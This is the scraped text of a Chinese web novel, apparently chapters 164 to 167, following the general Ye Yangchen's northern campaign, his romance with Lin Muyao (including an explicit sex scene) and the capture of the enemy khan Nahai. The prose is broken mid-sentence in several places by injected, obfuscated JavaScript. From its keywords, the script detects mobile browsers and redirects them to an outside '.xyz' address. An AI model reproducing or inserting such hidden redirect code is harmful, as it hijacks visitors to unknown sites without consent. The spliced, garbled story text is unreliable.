l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14774046|125447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 凌牧云,他低着头,她看不清他的脸。但芷萱知道,凌牧云在难过,在深深的伤心,她有点感同身受。 凌牧云继续说道:“你别内疚,等到帮着阳晨哥打完仗,如果你还没有回心转意的话我就走,到时就再也不见你了,不让你心烦了。” 听到凌牧云将来要走,虽然那是很久以后的事,芷萱还是生出不舍来,她想说别走,但是她不知自己以什么立场去挽留他,她只能什么都不说,她要好好想想。 当夜,大家守完岁后谁也没回营帐去睡,包括安然十三个人就在大帐里东倒西歪地将就了一宿。 除夕过后,军营里依旧是新年的氛围。 临近元宵节,叶阳晨发现一连几日都不见诗怡、芷萱、映雪那几个女孩子的影子,慕瑶也是神神秘秘的。 那日,叶阳晨见慕瑶脚步急匆匆的,便抓住她问:“这几天,你们几个女孩在搞什么鬼呢?怎么还神神秘秘的?” 慕瑶努着嘴,“哎呀,你不要问了嘛,元宵节那天你就知道了。” 上元佳节终于到了,十二将星在帐中吃饭。 正吃着,四个女孩子和安然神神秘秘地出了蒙古包,还再三叮嘱所有人不得出来,更不准偷看。 过了好一会儿,众人听到帐外有五个女孩的叫声,八个男人这才掀开帘子走出帐子。他们刚刚踏出营帐,便被眼前的一切惊喜到了。营地里到处挂着灯笼和花灯,它们绚烂如昼、光耀夺目。 那些花灯有各种主题,有十二生肖,有太阳星星月亮,更有天上的鹰,水里的鱼。它们美轮美奂、精巧夺人,人走在里面,就如同置身五彩缤纷的海洋。 士兵们也都纷纷走出营帐,三两成群地观看欣赏着,喝彩声不绝于耳。将士们的心里暖暖的,他们没想到出国前还能体会到如此温馨的时刻,这是何等幸福。 叶阳晨不问,也知道这多半是映雪的主意,因为她不仅手巧,鬼点子更多。小时候他们四人玩,所有的鬼主意都是映雪出的。 凌牧云赞不绝口,“好有心啊,你们看,这灯上还有灯谜。” 胡枫叫嚷着,“哪儿呢?我猜灯谜最在行了。” 凌牧云戏谑,“胡哥,别吹牛,你猜猜这个灯上灯谜的谜底是什么?” 看着兄弟们高兴成这样,叶阳晨的眼里也染上了暖意。 叶阳晨冲着慕瑶问道:“原来你们这些天就在忙这个啊?” 慕瑶美目流盼,“怎么样?好看吗?” 叶阳晨在慕瑶的额头上轻轻吻了一下。 这个吻来得猝不及防,又是在人这么多的地方,慕瑶瞪了叶阳晨一眼,“这么多人呢!”她四下看了看,见所有人的注意力都在花灯上,这才放了些心。 赏完花灯,映雪她们拿出早就准备好的孔明灯供兄弟姐妹燃放。大家都在孔明灯外层纸上写上祈福的话,只有安然写着“永远要和哥哥姐姐在一起”。安然是小孩子,也没人管着她,就随着她玩了。 十二将星写了十二句祝福词,但却只有一个心愿,都在祝愿盛世绵亘,家国安宁。 这十二句话分别是:“ 山河无恙 四海归一 天下太平 盛世皆安 再无狼烟 凯旋而归 国泰民安 繁荣昌盛 江山锦绣 重熙累洽 民康物阜 子民安乐” 那些话语字字光辉、句句闪亮。 寸寸山河埋血骨,昭昭日月映忠魂,这些话语如信仰一般镌刻在每个人在心里。一切都是美好画卷,处处都是幸福声音。 十二盏孔明灯同时被点燃,慢慢升空,飘然直上。夜空深邃,孔明灯奔向黄道十二星辰,闪耀天幕、永不迷失。 165. 第一百六十五章 日子刚过了正月,骁扬军近三十万人跨过了长城。虽然只是隔了一座长城,但已经是两个国度了。身后就是国家,回首就是故土,每个人都思乡情切,但也只能寄希望于能早日打败蒙古人,那时便可凯旋而归,家人团聚。 才刚刚春分时节,长城外的天气依旧冷得彻骨,十二将星的每个人都不太适应这气候。 南方湿润,北方干燥,十二将星各兄弟姐妹在南方生活的居多,气候差异下,大家的身体上也都略有不舒服。 霍玉的情况最严重,他浑身起了密密麻麻的红疹子。霍玉也知映雪医术精湛,可怎么都不好意思去找她,直至自己强忍了几天,身上的疹子越来越多,最后奇痒无比致夜里无法入睡,这才鼓起勇气去找了映雪。霍玉自己也说不上来为何不敢去找映雪,他就是有点害怕她。 霍玉来到映雪的帐前,挠头搓手,还是不敢叫出声。踌躇片刻,他才喊道:“帐内有人吗?” 帘子被掀开,走出来的是诗怡,“霍霍,你要找谁啊?” “啊,我找映雪。” 诗怡打趣道:“找映雪就直接喊她的名字嘛,怎么还说什么有人吗?” 霍玉被说的有点不好意思,赶紧解释道:“一时忘了。” 诗怡不再逗霍玉,“你进去吧,帐子里就她自己。”说完,诗怡就走开了。 自从骁扬军出征一来,凡是需要住帐篷都是八个男的住一顶,另外五个女孩住一顶。虽说那么多人住一个帐篷稍稍有点挤,但这样热闹,像一家人一样,他们也都喜欢。 霍玉犹豫着掀开帐帘走了进去,进去才发现帐子里并非只有映雪自己,还有安然,两个女孩正在玩翻绳的游戏。 温映雪刚刚听见了霍玉与诗怡在帐外的对话,于是淡淡一问:“你有事找我?” “嗯。” 温映雪是急脾气,“什么事?” 霍玉稍作犹豫,还是说道:“我身上…起疹子了,我想找你…拿点止痒的药。” 映雪忽地停下手中的绳,温声哄着安然道:“安安乖,你自己先出去玩一会儿,你霍玉哥生病了,姐姐给他看一下。” “那好吧,不过一会儿你要继续陪我玩。”说着安然不情愿地往外走去,走到霍玉身边的时候,她吐了吐舌头,“霍玉哥,我就要赢姐姐了,你偏偏就在这个时候来了,你要快一点哦,我还没和姐姐玩够呢。” 霍玉暖笑着:“安安,霍玉哥一定会快一点。” 待安然走出帐去,映雪便直言道:“过来吧。” 霍玉走到温映雪跟前。 映雪眉头微蹙,“先把衣袖撸起来,让我看看。” 霍玉照做。 映雪又言:“把上身衣服脱下来,让我看看你的后背。” “这样好吗?”当着女孩的面脱衣服的事,霍玉有些不好意思了。 “有什么不好?我一个女孩都没介意,你还不好意思?” 霍玉犹豫着脱掉衣衫,露出结实的背阔肌。映雪见到霍玉身上同样有着多如牛毛的红点,于是生出几分怒气,“你这个疹子至少有五六日了吧?” “是的。”霍玉不敢再撒谎,只能如实说着。 “你还用手挠了是不是?有些地方都已经被你弄破了。” “太痒了,所以我就……” “你挺能忍啊?怎么不继续忍着呢?干嘛来找我?”得知霍玉忍着痒都没有来找自己,映雪更加生气。 见映雪脸上蒙上一层霜寒,霍玉不敢回嘴。 映雪还是不解气,继续厉声道:“你再等上几天不来找我,身上就会化脓溃烂。” 霍玉还是不敢说话,只是点点头,表示认同。 映雪突然辞色锋利,“你怎么不说话了?哑巴了?” “我…我…对不起……” 听霍玉这么一说,温映雪的气稍稍消了一些。她这个人就是心软,见不得别人受苦。 映雪取来药箱,从里面找出一个小药瓶。她先把手搓热,然后从药瓶里倒出一点点药膏在掌心上,随之,映雪将手掌放在霍玉的肩上和背上,轻轻揉擦着。 霍玉感受到映雪手掌的温热柔滑,一时不好意思,“怎敢劳烦你亲自为我上药?” “都是兄弟姐妹,何谈劳烦?”映雪知道霍玉是不好意思,她想了想,补充说道,“这次是第一次,就由我来给你擦,后面几日你可让小六或者丁鹏他们帮你擦药,记住,就按照我擦药的方法来擦,不可太过用力,而且要把药涂均匀。这样每日早晚各涂抹一次,几日后就会消疹。” 一盏茶的功夫,小雪帮着霍玉上好了药。霍玉穿好衣服,接过药瓶后,道了声“谢谢”。 “以后不用再那么客气,如果再有类似的事,让我发现你忍着挺着,就算你来找我求我,我都不会再管你了。”习惯关心的话冷着说,这是映雪的性格。 霍玉也知道映雪是为自己好,于是温和回答:“我下次一定不会了。” 温映雪没有再说话,只是冷着脸。 这毕竟是女孩营帐,霍玉不敢逗留太久,“那我先走了。” “你很害怕我吗?” 霍玉慌张道:“没有的事。” “好好照顾自己。” “知道了。”说完,霍玉站起身走了出去。 望着霍玉的背影,映雪的嘴角微微上翘。她见霍玉那个“害怕”自己的样子,感觉特别好笑。 好在没几天,霍玉身上的疹子也就完全好了。日子稍久一点,军营里的士兵对塞外的气候环境也适应些了,叶阳晨带着骁扬军继续向归化的方向挺近。 叶阳晨夙夜心忧,他知道这出国的第一战是尤为重要的。因为输了的话,不仅影响将士的士气,还多半会被朝中奸佞之人大做文章。 叶阳晨之前打的几仗是驱除外敌,朝廷上是没人敢嚼舌根的,可这次的情形不同了,叶阳晨要出国剿贼,朝臣就颇有微词了。说什么好战必亡,说这样乐此不疲地打仗太劳民伤财,会耗光国库,是亡国之举。 那晚,叶阳晨走出大营,朝着远处的小土坡走去。草原的夜格外静谧,头顶星光璀璨,月光皎洁,眼前四野空旷,大地苍茫。叶阳晨身穿着黑色皮毛大氅,颀身而立眼望北方,寒风吹在他的脸上,他却感觉不到丝毫的冷。 习武之人,都很警觉,叶阳晨听到身后有脚步声,他回头一看,见是慕瑶迎面走来。月光之下,慕瑶身上穿着白狐毛斗篷,更能衬托她优雅袅娜的仪态。 “瑶儿,这么冷的天,你不在营帐里烤火,出来做什么?” 林慕瑶笑容明媚,“当然是过来陪你啊!” 叶阳晨上前把林慕瑶裹在自己的皮毛大氅里,而林慕瑶只是把头微微露出,眨着灵动的双眸,“你有心事吗?” “没有,我挺好的。” 慕瑶语气轻缓,“骗人,我都看出来了,也猜出来了。” 叶阳晨眉目温柔,“那你说说看!” “你在思念葬在瓦哈国的亲人吗?” 叶阳晨眼眸惊亮,“你怎么什么都知道?” 林慕瑶柔声细语,“等到了瓦哈国,我陪你去祭拜他。” 叶阳晨坏笑,“那你以什么身份去呢?” 林慕瑶娇羞着脸,“我不告诉你。” “你不说出来,我就不带你去了。” “儿媳妇。”林慕瑶踮着脚,在叶阳晨耳边低声娇语说着。 叶阳晨轻轻刮了下林慕瑶的鼻子,满眼爱意。 林慕瑶仰起头,看着满天繁星,“阳晨,你看,天上的星星好美啊! “不及你!” 叶阳晨很少说些甜言蜜语,但简单的三个字就会令林慕瑶的心里暖暖的,如沐春风一般。 半晌,林慕瑶灵动一下,“阳晨,你还不记得小时候在泽清山,我们坐在屋顶一起看星星?我记得还有几次我们坐在忘忧崖那里看星星。” “怎么不记得?每次都是我硬拉着你去,你才肯去。而且小时候我说瑶瑶你看天上的星星好美,你都不理我。那时候你特别小气,也特别不好相处,我怎么逗你,你都不笑。” 慕瑶笑着努嘴,“你真记仇,谁让你那时总欺负我?人家不开心嘛。” 在这样寒冷、寂寥、深沉的夜,与慕瑶聊着童年趣事,这多少缓解了叶阳晨心里的焦虑和紧张。 七日后,叶阳晨的军队距离归化城已不足60里。大战在即,叶阳晨命军队原地扎营休整。他知道不久后便会跟那海有一场恶战,故让部队养精蓄锐。 那天风和日丽,天空一碧如洗。林慕瑶把早就准备好的香烛、纸钱、供品拿给叶阳晨,两人共骑一匹马,驰骋在草原上。 一个时辰后,两人来到一处墓地。这里清幽如画,风水极佳,一看就是精心挑选过的地方。 下马后,叶阳晨和林慕瑶把墓地简单打扫了一番,慕瑶还在周边采了一些野花。之后,他们两人走上雕镂细腻的汉白玉台阶来到墓前,见墓碑上用鲜红色写着:“丰国征北大将军卫公忠海之墓”。时间过去那么久了,但卫忠海依旧英明长存、永垂不朽。 墓碑冲着丰国的方向,以慰亡灵九泉之下思乡之情。据说,当时那海特意嘱咐,墓地不能朝北,否则他会睡觉都睡不安稳。 叶阳晨扑通一声跪倒在地,虽然他从未在生父跟前承欢膝下,但他的身体里毕竟流着卫忠海的血,那种血缘亲情难以割舍。而林慕瑶则在叶阳晨身旁一同跪下,两人一同给卫忠海的墓碑磕了三个头。 叶阳晨眼含泪光,“父亲大人在上,不孝儿来迟了,让您在此地长眠十八年。儿此次出国门必将继承您的遗志,扫平狼烟。若儿能顺利凯旋,定将父亲的墓迁回北都,供世人敬仰,万世流芳。” 听着叶阳晨的话,一旁的林慕瑶为之动容。 对着墓碑说了一会儿心里话,叶阳晨敛去悲伤转而笑道:“父亲,你看到我身边的女孩了吗?她便是您的儿媳妇。” 慕瑶正色道:“爹,你在此处安息吧,我会照顾好泽兰的。”在卫忠海的墓前,慕瑶是不能叫叶阳晨这个名字的,只能改称呼为卫泽兰,算是对先人的尊重。 叶阳晨咧嘴笑着,“爹,怎么样?儿子厉害吧?你儿媳妇长得漂亮吗?” 林慕瑶娇羞地拍了叶阳晨一下,“你怎么那么讨厌?在爹爹墓前,你都正经不过弹指间。” 了却了为生父祭扫的心愿后,叶阳晨准备近期进攻归化。他在大战前来祭拜父亲,也是希望父亲的在天之灵保佑自己,保佑这个国家。 军队休整的那段日子,叶阳晨几乎每晚都会紧张得失眠,不是他害怕那海,也不是他对胜利没有信心,而是他的亲生父亲就死在那海手里,那海对叶阳晨来说就是国仇家恨。所以这一战对叶阳晨来说太过重要,他不能输,也输不起。他要复仇,为自己,也为父亲,更为国家。 那晚,叶阳晨心悸得厉害,因为白天开军事会议的时候,他已和全体兄弟宣布,骁扬军会在七日后攻打归化城。 叶阳晨冲出自己的营帐,去了林慕瑶她们女眷住的蒙古包。此时虽刚刚过了亥时,但她们四个女孩子也快要睡了,身上都只穿着轻薄的纱衣。所以叶阳晨只在帐篷外轻咳了一声,四个女孩还是稍稍紧张了一下。 叶芷萱不耐烦问道:“外边是谁?” “你哥哥我。” 叶芷萱翻了个白眼,“哥,都这个时候了,你过来干什么?” 叶阳晨也觉得自己此时站在女孩子的住所外有些不妥,但现在后悔也来不及了,“那个…那个……” “哥,你有什么快说,那个什么啊?” 林诗怡坏笑,“芷萱,我姐夫肯定是过来找我姐的。” 叶芷萱开着玩笑,“哥,你是来找嫂子的啊?” “嗯,你嫂子睡了吗?” 话音落下,林慕瑶脸颊泛起娇红。其实听到叶阳晨声音的那一刻,林慕瑶便隐隐觉得叶阳晨是来找自己的。 伴随着三个女孩的笑声,林慕瑶连忙穿好外衣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14798750|125447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 走了出去。看见叶阳晨,她一脸的幸福和甜蜜,“这么晚了,你找我有事吗?” “你跟我去大帐,我再跟你细说。” “一定要今晚说啊?” “是的。” “那好吧。”见叶阳晨表情严肃,慕瑶以为叶阳晨找自己有正事,便没犹疑就跟着去了。 进到中军帐的蒙古包,叶阳晨一把将林慕瑶搂在怀里,慕瑶急着问道:“阳晨,发生了什么事?” “我睡不着,心里闷。” 见叶阳晨可怜撒娇的样子,林慕瑶娇笑起来,“你今天怎么了?怎么跟小孩似的?” “要打那海了,我紧张。” 林慕瑶打趣道:“我们的战神也有怕打不赢的仗?” 叶阳晨放开林慕瑶,正色道:“从我知道了自己的身世算起,已经快两年了,我一直在等这一天。我要用这一战,来告慰九泉下的亲生父亲,我紧张的就是这个。” 慕瑶轻轻摸着叶阳晨的脸,柔声道:“你别给自己太大的压力了,你要相信自己,我也相信你的。何况,打仗嘛,有输有赢是正常的。即使败了,我们再重来就好。” “不行的,输不起了,我怎么能在父亲的眼皮底下输了。”叶阳晨太想证明给自己的亲生父亲看,或者说完成生父曾对自己的期许,担子给自己加得多了,这场与那海的“决战”便早已超越了它原本胜负的意义。 “我懂,我都明白,尤其是在阿爹曾经战斗过的地方,你就更不意让他的英灵看到你失败,对吗?” 叶阳晨艰难地点了点头。 林慕瑶揉了揉叶阳晨紧锁的眉间,心疼道:“可你这么逼自己也不行啊,相信我,这场仗我会帮你打赢的。” 听慕瑶这么一说,叶阳晨心情稍稍转为愉悦,“那你说说看,怎么帮我?” “我现在还没想好,可我会好好想想,你妻子的脑子还不笨的。自我们夫妻一起上战场那天我就在心里对自己说,有一日我要辅佐我的夫君功成。” 叶阳晨的眼里重新染上暖意,“我知道,我娘子最聪慧了。” 慕瑶难道羞得俏皮,“我都被你夸得不好意思了。” 叶阳晨的脸色重新归于平和,“瑶瑶,有你跟我说说话,我心情好多了。” “嗯,别再多想了。雄关山海,必定乾坤。时候不早了,你早点休息吧,那我先回去了。” 稍稍犹豫,叶阳晨试探问道:“要不你别走了?我也不回去跟兄弟睡了,今晚你在这儿陪陪我吧?” “在这儿睡?那怎么行?那多难为情啊?姐妹们会笑我的。” “待不了一宿,那就陪我一会儿。”叶阳晨上前将慕瑶拦腰抱起,朝着军帐中的床榻走去。 慕瑶不敢叫的大声,“快放我下来。” 叶阳晨不听慕瑶的,吹灭了帐中的烛火,并将慕瑶轻放在榻上,自己压在她的身上。 叶阳晨刚要解开慕瑶的衣扣,慕瑶按住他的手,“你干什么?” “好久都没要过了,给我一次。” 慕瑶纠结片刻,还是心软了,“那你要答应我,一会儿你得偿所愿了就放我回去,还有你好好回去睡觉,不准再胡思乱想。如果这两点你不答应我,我就不让你碰我。” 叶阳晨沉声道:“我答应你,都答应你。” 慕瑶移开了按住叶阳晨的手,随之闭上双眼,她感觉自己的衣衫一件件被褪去,叶阳晨埋下头去。 诗曰:“透轻罗,未消残雪,冰肌莹雪腻酥香,粉臆从君咬。” 慕瑶克服羞意,探手去抱叶阳晨,让他贴自己紧一些。慕瑶觉得自己醉了,醉得神魂颠倒、意乱情迷。 许久未行敦伦之礼,叶阳晨渴求至极。 力猛而深,热烈而久,慕瑶有一点点吃不消,她咬着下唇,紧紧抓着床褥。 叶阳晨边进行边问:“我这么久了没欺负你了,你就一点不想?” 慕瑶侧过脸去,“你是坏蛋,大坏蛋,我不想回答你这个问题。” 帐外的风更紧了些,帐内却刮着暖风。一阵疾风而过,夹杂微雨,湿意盎然。 叶阳晨连续要了两次,才满足地将被子往上拉了拉,盖住了慕瑶的玉肩。刚刚云雨之时,甚至是此刻,慕瑶都特别怕有人突然走进来,那样她还不羞死。担心之下,慕瑶低语,“阳晨,我要走了,再晚一些姐妹们就该怀疑我了。” “再多陪我一会儿。” “下次的,今天太晚了。”慕瑶坐起来,穿好衣服走了出去。 慕瑶走后,叶阳晨待在这里也没意思,索性也穿好衣服回了兄弟们住的帐蓬。 慕瑶回到帐篷后,映雪和芷萱都没有说什么,只有诗怡不识趣地问道:“姐,姐夫这么晚找你有大事吗?” “没有,就是随意聊了聊天,不是要打那海了吗?他情绪波动有点大。” “聊了这么久?” “我困了,不和你这丫头说了。”慕瑶故作淡定,却心跳如雷,她很怕妹妹继续追问下去,她一直知道这个丫头好奇心最重了。 好在诗怡没有再问,慕瑶这才长舒一口气。可想起刚刚提心吊胆地跟叶阳晨在大帐“疯闹”,她的脸还是不由得发烫发热。慕瑶爱干净,在塞外,条件简陋,那种事后无法洗澡,她只能任由浑身湿着入睡。 想到刚才叶阳晨对自己孜孜以求,慕瑶还是羞中带着幸福,她害羞是因为刚刚鱼水欢愉之时,她压下女儿家的矜持,比往常更用了点心,也尽量满足着叶阳晨各种索求。今夜的叶阳晨不开心,慕瑶希望自己能让叶阳晨快乐一点,从而缓解一些丈夫战前的紧张和焦虑。而幸福是因为,每一次两人颠鸾倒凤之后,她都觉得自己与叶阳晨的感情更亲密了一层,如今的她已是完完全全属于叶阳晨的。 可事后想到自己做的那些,慕瑶又有一点点“后悔”,她怕叶阳晨发现自己的“不矜持”而偷偷笑自己。慕瑶在心里一遍遍安慰自己:“我是他的妻子,应不算出格越礼。”带着心安,她酣然入梦。 166. 第一百六十六章 在骁扬军营里,从将军到士兵,几乎所有的人都理所当然地认为,这两年以来,那海先是被赶出临昌、又逃出北都,而后还丢了平朔九州,不仅灰头土脸退回长城外,还承受着丧子之痛,这接二连三遭受败绩和伤痛,应该已令他消磨斗志、丧失雄心,即便战力尚有余存,也不会再有勇气和胆量。 但是叶阳晨和所有将领都失算了,那海还是那个死而不僵的那海,他竟在叶阳晨准备发动战事的前三天,主动带着八万大军,出城迎战,作最后一搏。 叶阳晨虽不至于溃败,但措手不及之下,军队抵抗得有些吃力。 叶阳晨紧急召集另外十一将星在中军帐开会,讨论该如何制敌并扭转不利战局?结果众人意见不一,总体分为两派。一部分人说:“拼死一战,大有胜算。”也有人说:“先后撤10里,以期整军再战。” 所有人中只有林慕瑶没有开腔发言,叶阳晨深知慕瑶智计无双,擅兵法奇谋,于是问道:“慕瑶,有无良策?” 林慕瑶并不确信,但还是建议道:“吾之浅见,死战和退而再战皆中敌计,不为上上之道。夫战,勇气也,那海趁吾军不备而来,只为攒足士气。吾军大可排兵布阵,以逸待劳,泄其士气。” “排兵布阵?如何排兵?如何布阵?”叶阳晨迫不及待追问道。 “师父古野曾与我提过一套天湛八卦阵法,我觉得最适合防御。我们大可利用阵法诱敌深入,挫其锐气。” 叶阳晨也曾听闻天湛八卦阵变化奇诡,威力无穷,传奇而神秘,“我也曾听师父说过,但这阵法的排兵要诀不是失传了吗?” 慕瑶语气如常,“我之前研究了多本古籍兵书,综合了多个阵法的精髓,推演出了一套新的天湛八卦阵的布阵方法。” 胡枫接话道:“瑶妹妹,阵法你都能自创,哥哥服了你了。” 十二将星里的每个人的能力都各有所长,可谓熠熠耀目,但听慕瑶那样说,众人还是不由得惊愕。林慕瑶没有耽搁时间,她拿出一大张宣纸,铺在案几上展开,然后开始画起阵法图。这套阵法图,林慕瑶已在脑海里构思很久,不断完善后,阵法也日渐精妙。 少时,阵法图画好,林慕瑶从容讲解:“这便是八卦阵的布阵排兵位置,上方为云阵、鸟阵、天阵,中间为龙阵和凤阵,下方为蛇阵、地阵和风阵。” “这八个军队小方阵将指挥官围在中间,与各方阵均可联络互通,这样便于指挥官操纵掌控全局。这八个军队组成小方阵的按八卦图的位置排列,且形状各不相同。八个小方阵既是各自独立,又可结为一体,既能独立为战,又利相互支援。这个阵法尤其适用于防御,如操练熟巧,便知此阵精妙。” 林慕瑶讲解完,大家在心里啧啧称叹。叶阳晨更是有一种“得此贤妻,夫复何求”的感觉。如果此时不是在开会,叶阳晨真想将林慕瑶搂在怀里。 看见丈夫一直用一种热烈的眼神看着自己,林慕瑶有些不好意思,眼神也随之躲闪开。林慕瑶看向大家问道:“众兄弟有无建议?” 凌牧云赞叹道:“阵法的开合变化,会迷惑敌军,致使敌军失去判断,从而扰乱敌军的军心,减弱敌军的战斗力。真是妙哉。” 牧云评价得客观中肯,众人也频频点头赞同。 叶阳晨立刻喊道:“既如此,传我将令,前方兵勇拼死抵抗,同时召集后方将士立即演练阵法图。带演练纯熟,放敌人落入我们口袋。” 翌日,虽然将士们还未将阵法图操作熟练,但时间不多,只能姑且一试。前方守军昨天匆匆应战,思想准备不足,抵抗已十分吃力,渐成边打边退之势。此时,前方三万守军,忽得后方全部撤退将令,于是前方全体士兵有组织地如潮水般退至八卦阵之后。 骁扬军的突然“撤退”,令那海以为自己已将叶阳晨的部队击溃,大喜过望之后,他命令部队乘胜追击。 这些年,自从叶阳晨披坚执锐,那海一直处于劣势,他狼狈地从临昌退回了长城外的老巢。这一次好不容易看到叶阳晨有败退迹象,那海怎么都不愿错失这么好的机会。 昔日,西日莫配合卫忠海攻入归化城,那海手下的几名战将都被西日莫斩杀。现在那海身边将领的带兵能力明显要较之前弱了许多,当看到叶阳晨的士兵在八卦阵中严阵以待时,瓦哈国的将军和士兵都有些摸不着头脑。 瓦哈国带兵的将领看见这奇怪阵法后并没有请示后方的那海,便在短暂犹豫后,带着军队冲入八卦阵。有些将领孤陋寡闻,甚至认不得这是兵阵。 进入阵中后,那海的军队瞬间被冲散了,首尾不能相顾。每一个士兵都感觉自己被包围着,恐惧感随之袭来。随着八卦阵不断变化,就像一阵飓风席卷而来,敌军好似被吞噬其中,这使得人数迅速减员,蒙古兵最终大败。 最后只有少数那海的残兵败将冲出八卦阵逃走,但已改变不了战局。一些散兵最终跑回了自己的营地,其中一个身中数刀的士兵气喘吁吁地冲进那海的营帐,大声一喊:“报……” 那海眼睛一亮,“快言,是不是骁扬军已被击溃?” 士兵衣甲残破,浑身狼狈,“不是,大汗,是我们败了。” 那海凶神恶煞地冲过来,用力晃动着士兵的肩膀,“什么?败了?怎么可能?” 士兵涕泪横流,“大汗,的确是败了。我们轻敌了,冲进一个迷魂阵,怎么都走不出来。” “什么迷魂阵?什么迷魂阵?一派胡言。”那海怎么都想不通,明明占了优势的他最终还是难以扭转败局。 那海越说越激动,用力一脚踹翻了士兵,“明明占了优势都能输。都是废物,都是废物……” 士兵不敢再逗留在军帐中,屁滚尿流地跑了出去。 少顷,几位蒙古将军走进那海营帐的时候,只见地上尽是狼藉,那海手拿酒皮囊坐在地上,头发散乱,一副醉生梦死的样子。 看见几位将军,他眼神迷离地大笑,“来了?都来了?那就过来一起喝。” 几位将军跪倒在地,“大汗,你要振作啊!” “振作?说的好,我二十年的努力已经灰飞烟灭,我怎么振作?”那海越说越大声,“你来告诉我,我该怎么振作?” 其中一位将军道:“大汗,我们需趁骁扬军还没有打来,赶紧赶回归化城,或许还可凭借城池抵抗万一。” 那海失落万分,举起皮囊拼命给自己灌酒,酒液顺着下颔流到衣甲前襟。他呛了几口酒,然后喃喃自语,“不等了,本王就在这儿…等着他们来,反正没了希望的日子,就跟死了也差不多。” 几位将军相互对视一眼,形成默契,快速搀扶着醉酒的那海出了军帐。尽管那海不愿意,但还是以一种狼狈的方式回了归化。 酒醒之后,那海走到城墙上远望叶阳晨军营的方向,突然想起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14817659|125447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那个当初豪言要一统中原的自己不过才刚刚过了加冠之年,而如今他的两鬓却布满霜华,银丝在风中凌乱。虽然那海心知自己的梦想多半成空,但他觉得此生值得,毕竟他纵马一生,也曾短暂领略过江南秋画悲风。 那海虽一生无悔,但仍不舍脚下的这座城,还有视他为主的臣民,不过他也清楚,这座归化城他也守护不了多久了,败局已不可逆转。既生瑜何生亮,那海终于相信叶阳晨就是他的克星。 与此同时,叶阳晨发帅令,命全军即刻进攻归化城,务必生擒那海。叶清扬和凌牧云将分别从城西和城东打入归化城,而叶阳晨率军在归化城的正前方堵截那海。如果那海从南门出来,将不可避免与叶阳晨一战。 谁都知道这将是叶阳晨和那海的最后一战,如果胜利,也就意味着丰朝解决掉了第一个心头之患。 叶清扬手持沉月长枪,威风凛凛纵马冲入西城门。守军抵抗顽强,但叶清扬所向披靡,势不可挡,一路带兵杀到了那海王府。 听见外边的喊杀声减弱,那海知道他大势已去。果然,不多时,叶清扬进了王府的大殿。 看着苍老的那海,叶清扬神色冷硬,“那海,束手就擒吧,我或许还可以给你保留一丝体面。” 那海横眉冷笑一声,提剑便想自刎。 “慢着!”叶清扬急促喊道。 那海手中的剑停在半空中,人也愣在那里。 “我家少将军叶阳晨要见你。” 那海冷哼道:“怎么?败了后还不能死?你方主将还要羞辱我一番吗?” 叶清扬视哥哥的命令如山,离开军营时哥哥特意嘱咐一定要生擒那海,他不能让那海就这样死了。叶清扬眼神锋利,“如果你现在自刎,我会让外边被俘的你的二儿子和小儿子跟你陪葬。如果你不怕的话就请自便吧!” 那海试探问道:“你的意思是我要去见你家少将军的话,你们就会放过我的两个儿子?” “一切皆可商量!” 虎毒不食子,那海觉得自己死不足惜,但他的那两个儿子正是大好青春年华,如果就这样葬送了性命,他又于心何忍?那海的大儿子已经死在平朔九州的战争中,如果能保下剩下两个儿子的命,那海于愿足矣。 见那海舐犊情深,叶清扬脸色回暖,“你放心,我哥哥光明磊落,你如果只求一死,他不会为难于你。反正你抱着必死之心,那么等见完我哥哥再死不迟。” 攻城之前,叶阳晨还有一道严令,“入归化城后,如百姓不誓死抵抗,骁扬军不可伤及无辜。”叶阳晨治军严明,无人敢违抗他的军令。 那海手脚拴着铁链站在囚车上,当囚车走在归化城的街上,沿街的蒙古人有沉默的,有低头的,也有用手抹着眼角的。叶清扬亲自押着囚车,带领军队出城回了军营。从那一刻起,意味着那海领导的瓦哈国覆灭。 叶清扬回到军营,刚下马,还没有去大帐复命,叶芷萱就迎了过来,“弟,那海是被你擒住的?” 叶清扬在姐姐面前,才不会总绷着个脸,“怎么?姐,你不相信?听你这个口气,好像不希望我得到这个军功啊?” “才不是,那个…那个凌牧云你看到了吗?” “他没回来吗?他也该回来了啊!” 叶芷萱有些不耐烦,“好啦,哥哥等你呢!你快去吧!” 叶清扬把那海送入军营大帐中。 167. 第一百六十七章 这次攻打归化城,四名女将并没有去,一是不需要那么多人,二来攻城和战场杀敌有所不同,战场上是军人较量,攻城也会有百姓牵扯其中,有时或会惨烈一些,女子去了多会心软不忍,叶阳晨体恤她们,故没让她们参与。 凌牧云出征前,叶芷萱想说些鼓励和叮嘱的话,但却怎么都说不出口。 凌牧云性情洒脱随性,豪气干云,他跟着叶芷萱开着玩笑,“信不信我这次能生擒那海,为你拿回天大军功。” “你拿军功就拿,关我什么事?”叶芷萱虽然嘴上这样说,但是心里还是希望凌牧云建功立业的。一来凌牧云有这个实力,二来她希望如此。 “怎么不关你的事?我的事不就是你……” “你住嘴,不准乱说。德性。”芷萱心跳有点快,说完连忙走开。 说者无心,听者有意,凌牧云走时说的话芷萱记在心里了,她心底也盼着凌牧云能言出必行,兑现承诺。 